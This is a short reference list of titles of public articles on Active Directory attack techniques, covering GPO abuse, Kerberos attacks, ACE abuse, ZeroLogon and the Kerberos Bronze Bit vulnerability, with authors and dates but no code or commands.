- [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](#)
- [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](#)
- [Abusing GPO Permissions - harmj0y - March 17, 2016](#)
- [How To Attack Kerberos 101 - m0chan - July 31, 2019](#)
- [ACE to RCE - @JustinPerdok - July 24, 2020](#)
- [ZeroLogon: Unauthenticated domain controller compromise by subverting Netlogon cryptography \(CVE-2020-1472\) - Tom Tervoort, September 2020](#)
- [Access Control Entries \(ACEs\) - The Hacker Recipes - @nwodtuhs](#)
- [CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020](#)
- [CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020](#)
- [Kerberos Bronze Bit Attack \(CVE-2020-17049\) Scenarios to Potentially Compromise Active Directory](#)
- [GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019](#)